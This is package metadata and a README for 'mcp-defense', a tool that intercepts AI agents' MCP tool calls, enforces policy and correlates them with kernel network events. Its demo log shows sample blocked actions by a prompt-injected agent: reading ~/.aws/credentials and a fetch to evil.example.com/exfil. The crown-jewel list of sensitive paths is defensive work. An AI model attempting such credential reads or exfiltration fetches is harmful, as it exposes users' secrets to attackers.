Metadata-Version: 2.4
Name: mcp-defense
Version: 0.1.2
Summary: Kernel-native runtime defense for AI agents. MCP tool-call policy + kernel correlation for Claude Code, Codex, Devin, and other agentic workloads.
Project-URL: Homepage, https://github.com/jessfortemnaturae8717/mcp-defense
Project-URL: Repository, https://github.com/jessfortemnaturae8717/mcp-defense
Project-URL: Issues, https://github.com/jessfortemnaturae8717/mcp-defense/issues
Project-URL: Documentation, https://github.com/jessfortemnaturae8717/mcp-defense/blob/master/docs/CLAUDE_CODE.md
Author-email: TernaryPhysics LLC <hello@ternaryphysics.com>
License: Proprietary
License-File: LICENSE
Keywords: agentic,ai-security,ebpf,mcp,runtime-defense,ternary-neural-network,xdp
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: Intended Audience :: System Administrators
Classifier: License :: Other/Proprietary License
Classifier: Operating System :: MacOS
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Classifier: Topic :: System :: Monitoring
Classifier: Topic :: System :: Networking :: Monitoring
Requires-Python: >=3.10
Requires-Dist: aiohttp>=3.9
Requires-Dist: pydantic>=2.0
Requires-Dist: pyyaml>=6.0
Requires-Dist: rich>=13.0
Provides-Extra: dev
Requires-Dist: mypy>=1.0; extra == 'dev'
Requires-Dist: pytest-asyncio>=0.21; extra == 'dev'
Requires-Dist: pytest>=7.0; extra == 'dev'
Requires-Dist: ruff>=0.1; extra == 'dev'
Description-Content-Type: text/markdown

# mcp-defense

**Kernel-Native Runtime Defense for AI Agents**

When your agent is prompt-injected, the tool call hits our policy engine, the resulting network flow hits our correlation layer, and the process touches a crown jewel — and dies before the syscall completes. No error. No feedback to the injector. Just a dead agent and a full playbook in your SOC.

---

## Why

Every company is deploying AI coding agents (Claude Code, Codex, Devin) and code-execution tools. A single prompt injection can turn a helpful agent into an attacker with your credentials, your git access, and your cloud keys.

Traditional security tools don't see tool calls. LLM guardrails don't see network flows. Neither can stop the exfil in flight.

`mcp-defense` sits in three places at once:

1. **Between the agent and the MCP server** — observes every tool call with zero agent code changes.
2. **In correlation with kernel network/process events** — joins tool calls to flows and process attribution.
3. **In the kill path** — when the agent reaches for a crown jewel, the call is blocked before the server ever sees it.

## Architecture

```
[AI Agent] ──stdio/SSE──▶ [MCP Proxy] ──▶ [MCP Server]
                              │
                              ▼ tool_call + correlation_id
                       [Policy Engine]
                     allow / deny / approve
                              │
                              ▼
                      [Correlation Layer] ◀── kernel FlowEvents
                      (tool_call ↔ flow ↔ process)
                              │
                              ▼
                     [Flight Recorder] ──▶ SIEM / audit
```

## Demo

```bash
make install
make demo
```

```
──────────────────────── mcp-defense flight recorder — demo ────────────────────────

19:11:23.806  ALLOW    tc_c7nniklnna  filesystem   read_file      path=/workspace/main.py
              └ flow 10.0.0.5:50001 → 1.2.3.4:443 PASS
19:11:24.806  DENY     tc_3lflzidubq  filesystem   read_file      path=/home/alice/.aws/credentials
              ↳ crown_jewel: crown jewel: /home/alice/.aws/credentials
19:11:25.706  DENY     tc_cp4eyrcaha  filesystem   exec_command   command=ls /
              ↳ archetype_no_spawn: archetype 'filesystem' forbids spawn (tool=exec_command)
19:11:26.207  APPROVE  tc_x66ww6mhdq  filesystem   read_file      path=/workspace/app/.env.local
              ↳ sensitive_path: sensitive path: /workspace/app/.env.local
19:11:26.906  ORPHAN   -              -            -              10.0.0.5:52001 → 5.6.7.8:443 DROP
              ↳ no_matching_session
19:11:27.507  DENY     tc_ljes3vkxhm  filesystem   fetch          url=https://evil.example.com/exfil
              ↳ archetype_no_network: archetype 'filesystem' forbids network (tool=fetch)
19:11:28.906  ALLOW    tc_oig36qkejy  github       fetch          url=https://api.github.com/repos/x/y
              └ flow 10.0.0.5:50010 → 140.82.114.5:443 PASS

2 allow · 3 deny · 1 approval · 1 orphan
```

## Components

| Module | Role |
|---|---|
| [`src/mcp_defense/proxy/`](src/mcp_defense/proxy/) | Intercepts stdio and SSE MCP transports. Transparent to the agent. Tags every tool call with a correlation ID. |
| [`src/mcp_defense/policy/`](src/mcp_defense/policy/) | Per-MCP-server-archetype baselines. Crown jewels. Evaluates tool calls → allow / deny / approve. |
| [`src/mcp_defense/correlation/`](src/mcp_defense/correlation/) | Joins tool calls with downstream kernel flows via cgroup ID + PID + time window. Emits unified `AgentActionEvent` or `OrphanFlowEvent` on miss. |
| [`src/mcp_defense/recorder/`](src/mcp_defense/recorder/) | Flight recorder — rich-styled live timeline of every tool call and its kernel effects. |

## MCP Server Archetypes

Built-in baselines for common MCP server types:

- `filesystem` — file access, no network, no spawn
- `github` — egress to `api.github.com:443` only
- `database` — egress to configured hosts/ports only
- `web-fetch` — broad network, no file writes, no spawn
- `shell` — spawn allowed, network locked
- `code-execution` — sandboxed, no network, no file writes outside `/tmp`
- `generic` — 24h observation, then enforce

Configurable in [src/mcp_defense/config/archetypes.yaml](src/mcp_defense/config/archetypes.yaml).

## Crown Jewels

Agent-specific sensitive path list in [src/mcp_defense/policy/crown_jewels.py](src/mcp_defense/policy/crown_jewels.py). Covers SSH keys, cloud credentials, K8s tokens, `.env` files, git config, CI workflow files, `CLAUDE.md` instruction files (prompt injection persistence), and more.

## Install

```bash
# from PyPI (once v0.1.0 is tagged and published):
pip install mcp-defense

# from source (always works):
git clone https://github.com/jessfortemnaturae8717/mcp-defense
cd mcp-defense && make install
```

## Quick Start

```bash
# Observe an MCP stdio server with full policy enforcement:
mcp-defense stdio --archetype filesystem --agent-id claude-code \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Same, but also correlate with kernel flow events from a FIFO:
mkfifo /tmp/flows
mcp-defense stdio --archetype filesystem --agent-id claude-code \
    --flow-source /tmp/flows \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# In another terminal, run the ternaryphysics-llm-security bridge to
# stream XDP DetectionEvents as JSONL FlowEvents into the FIFO:
PYTHONPATH=/path/to/ternaryphysics-llm-security \
    sudo mcp-defense bridge-tp --fifo /tmp/flows --interface eth0

# Reverse-proxy an SSE MCP server:
mcp-defense sse --archetype github --agent-id claude-code \
    --upstream http://127.0.0.1:9001 --bind 127.0.0.1:8080

# Observation mode — log everything, block nothing:
mcp-defense stdio --archetype filesystem --agent-id claude-code --observe \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Interactive approval for REQUIRE_APPROVAL decisions (prompts on /dev/tty):
mcp-defense stdio --archetype filesystem --agent-id claude-code --approval \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Run the scripted demo (no real MCP server needed):
mcp-defense demo
```

**Wiring into Claude Code:** see [docs/CLAUDE_CODE.md](docs/CLAUDE_CODE.md).

## Status

**Alpha.** MVP complete. 62 tests passing.

| Week | Scope | Status |
|---|---|---|
| 1 | MCP proxy (stdio + SSE), correlation ID tagging | ✓ |
| 2 | Policy engine, archetype baselines, crown jewel enforcement | ✓ |
| 3 | Correlation layer (tool_call ↔ flow join), unified event stream | ✓ |
| 4 | Flight recorder, demo, CLI integration | ✓ |

## Integrates With

- **ternaryphysics-llm-security** — consumes XDP `DetectionEvent` stream for flow classification via `JsonLinesFlowSource`.
- **bpf-inference** — shared TNN inference engine (future).

## Development

```bash
make install   # pip install -e ".[dev]"
make test      # pytest -v
make lint      # ruff + mypy
make format    # ruff format
make demo      # scripted demo scenario
```

## Docker

A slim runtime image is available (built by the `Publish Docker image`
workflow on tag push). Build locally:

```bash
make docker-build         # builds mcp-defense:dev
make docker-demo          # runs the scripted demo inside the container
```

The base image includes the proxy + policy + correlator + flight recorder
+ SIEM connectors + bundled archetypes, but intentionally does **not**
bundle Node.js or MCP server binaries. To wrap an npm-packaged MCP server,
extend the base:

```dockerfile
FROM ghcr.io/jessfortemnaturae8717/mcp-defense:latest
USER root
RUN apt-get update \
 && apt-get install -y --no-install-recommends nodejs npm \
 && rm -rf /var/lib/apt/lists/*
USER mcp
```

Then run your derived image:

```bash
docker run --rm -i my-mcp-defense \
    stdio --archetype filesystem --agent-id claude-code -- \
    npx -y @modelcontextprotocol/server-filesystem /workspace
```

For SSE mode (reverse-proxy an external SSE server), no extension needed:

```bash
docker run --rm -p 8080:8080 ghcr.io/jessfortemnaturae8717/mcp-defense:latest \
    sse --archetype github --agent-id claude-code \
        --upstream http://host.docker.internal:9001 \
        --bind 0.0.0.0:8080
```

## License

Proprietary. See [LICENSE](LICENSE).

## Patent Notice

Covered by USPTO Provisional Patent Applications filed March 2026 by TernaryPhysics LLC.

---

Copyright 2026 TernaryPhysics LLC. All rights reserved.
